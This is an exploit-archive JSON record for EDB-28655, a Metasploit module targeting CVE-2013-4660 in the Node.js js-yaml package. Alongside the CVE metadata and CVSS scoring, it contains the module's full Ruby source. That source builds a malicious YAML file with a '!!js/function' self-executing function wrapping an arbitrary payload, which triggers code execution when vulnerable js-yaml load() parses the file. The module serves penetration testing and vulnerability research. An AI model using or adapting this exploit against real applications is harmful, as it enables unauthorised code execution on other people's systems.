{"exploit":{"id":"EDB-28655","name":"Node.JS - 'js-yaml load()' Code Exec (Metasploit)","description":"Node.JS - 'js-yaml load()' Code Exec (Metasploit)","cves":["CVE-2013-4660"],"author":"Metasploit","published":"2013-09-30","platform":"multiple","type":"local","language":"Ruby","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/28655","path":"exploits/multiple/local/28655.rb","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-28655.rb","vulnerabilities":[{"id":"CVE-2013-4660","state":"PUBLISHED","title":null,"titleSource":null,"description":"The JS-YAML module before 2.0.5 for Node.js parses input without properly considering the unsafe !!js/function tag, which allows remote attackers to execute arbitrary code via a crafted string that triggers an eval operation.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2013-4660","cvss":{"version":"2.0","baseScore":6.8,"severity":"medium","vectorString":"AV:N/AC:M/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2013-4660"},"updatedAt":"2024-09-17T02:11:39.386Z","retrievedAt":"2026-11-26T23:09:27.018Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-28655.png?v=2","url":"https://exploitbin.com/exploits/EDB-28655","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-28655/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-28655/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"##\n# This file is part of the Metasploit Framework and may be subject to\n# redistribution and commercial restrictions. Please see the Metasploit\n# web site for more information on licensing and terms of use.\n#   http://metasploit.com/\n##\n\nrequire 'msf/core'\n\nclass Metasploit3 < Msf::Exploit::Remote\n  Rank = ExcellentRanking\n\n  include Msf::Exploit::FILEFORMAT\n\n  def initialize(info = {})\n    super(update_info(info,\n      'Name'           => 'Nodejs js-yaml load() Code Exec',\n      'Description'    => %q{\n        For node.js applications that parse user-supplied YAML input using the\n        load() function from the 'js-yaml' package < 2.0.5, specifying a self-executing\n        function allows us to execute arbitrary javascript code.\n      },\n      'Author'         => ['joev <jvennix[at]rapid7.com>'],\n      'License'        => MSF_LICENSE,\n      'References'  =>\n        [\n          ['CVE', '2013-4660'],\n          ['URL', 'https://nealpoole.com/blog/2013/06/code-execution-via-yaml-in-js-yaml-nodejs-module/']\n        ],\n      'Platform'       => 'nodejs',\n      'Arch'           => ARCH_NODEJS,\n      'Privileged'     => false,\n      'Targets'        =>  [['Automatic', {}]],\n      'DisclosureDate' => 'Jun 28 2013',\n      'DefaultTarget'  => 0))\n\n    register_options([\n      OptString.new('FILENAME', [ true, 'The file name.', 'msf.yml'])\n    ], self.class)\n  end\n\n  def exploit\n    p = payload.encoded\n    print_status(\"Creating '#{datastore['FILENAME']}' file...\")\n    file_create(\"a: !!js/function >\\n  (function(){ #{p} })();\")\n  end\nend","sha256":"959a63d109ee33177e0fc61d30439a6a2578c83d5bf0ded2bb741f5c1aca87c6","bytes":1555,"fetchedAt":"2026-11-26T23:09:22.563Z","encoding":"utf-8 (display only; download retains original bytes)"}